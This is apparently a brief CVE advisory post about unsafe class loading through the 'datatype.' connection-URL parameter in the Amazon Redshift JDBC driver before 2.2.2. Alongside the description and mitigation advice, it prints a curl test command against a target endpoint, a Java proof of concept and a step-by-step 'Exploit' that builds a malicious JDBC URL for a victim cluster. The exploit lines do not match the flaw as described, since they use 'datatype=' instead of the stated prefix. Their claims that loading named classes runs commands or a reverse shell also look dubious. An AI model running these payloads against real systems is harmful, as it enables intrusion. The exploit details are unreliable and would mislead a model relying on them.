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The vulnerability exists in Amazon Redshift JDBC Driver versions prior to 2.2.2. The issue is an unsafe reflection (CWE-470) where the driver uses externally-controlled input to select classes or code. Specifically, the `RedshiftConnectionImpl.initObjectTypes()` method processes JDBC connection URL parameters that begin with the prefix datatype.. For each such parameter, the driver extracts the class name from the parameter value and invokes `Class.forName(className)` to dynamically load that class. This is done without any validation of the class name or the class’s origin. An attacker who can control the JDBC connection URL can supply a `datatype.` parameter with a value that points to a dangerous class available on the application’s classpath. When the driver processes the malicious URL, it loads the specified class using Class.forName(), which may trigger static initializers or other side effects that can lead to arbitrary code execution. The attack requires that the targeted class is already present in the classpath of the application using the vulnerable driver. Typical targets include classes that execute commands upon loading, such as `javax.naming.InitialContext` or custom malicious classes. The impact is remote code execution with the privileges of the application process. The vulnerability is triggered only when the `datatype.` parameter is included in the connection URL. The attack complexity is high due to the need for a suitable class in the classpath, but successful exploitation can compromise the entire application.
DailyCVE Form:
Platform: Redshift JDBC Driver
Version: prior 2.2.2
Vulnerability: Arbitrary class loading
Severity: Critical
date: 2026-05-08
Prediction: Patch date 2026-05-08
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What Undercode Say:
Check Redshift JDBC Driver version find . -name "redshift-jdbc42-.jar" | grep -oP 'redshift-jdbc42-\K[0-9]+.[0-9]+.[0-9]+' Test vulnerability using curl (assuming a vulnerable endpoint that accepts JDBC URL) curl -X POST -d "jdbc:redshift://example.com:5439/database?datatype=javax.naming.InitialContext" http://target/connect
// Java PoC: Craft malicious JDBC URL String url = "jdbc:redshift://localhost:5439/dev?datatype=com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; Connection conn = DriverManager.getConnection(url, props);
Exploit:
// Step 1: Identify a dangerous class on the classpath (e.g., javax.naming.InitialContext)
// Step 2: Craft JDBC URL with datatype parameter pointing to that class
String maliciousUrl = "jdbc:redshift://victim-cluster:5439/dev?datatype=javax.naming.InitialContext";
// Step 3: Trigger connection (e.g., via HTTP parameter injection or direct database connection)
Properties props = new Properties();
props.setProperty("user", "admin");
props.setProperty("password", "pass");
Connection conn = DriverManager.getConnection(maliciousUrl, props);
// Step 4: The driver loads the class, triggering its static initializer (e.g., reverse shell)
Protection from this CVE
- Upgrade to Amazon Redshift JDBC Driver version 2.2.2 or later.
- If upgrade is not immediately possible, sanitize all JDBC URL inputs to reject parameters with `datatype.` prefix.
- Restrict classpath to only trusted classes, minimizing the availability of gadget classes.
Impact
Remote code execution in the application context, leading to:
– Full compromise of the application server.
– Unauthorized data access and exfiltration.
– Denial of service or further lateral movement within the network.
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Sources:
Reported By: github.com
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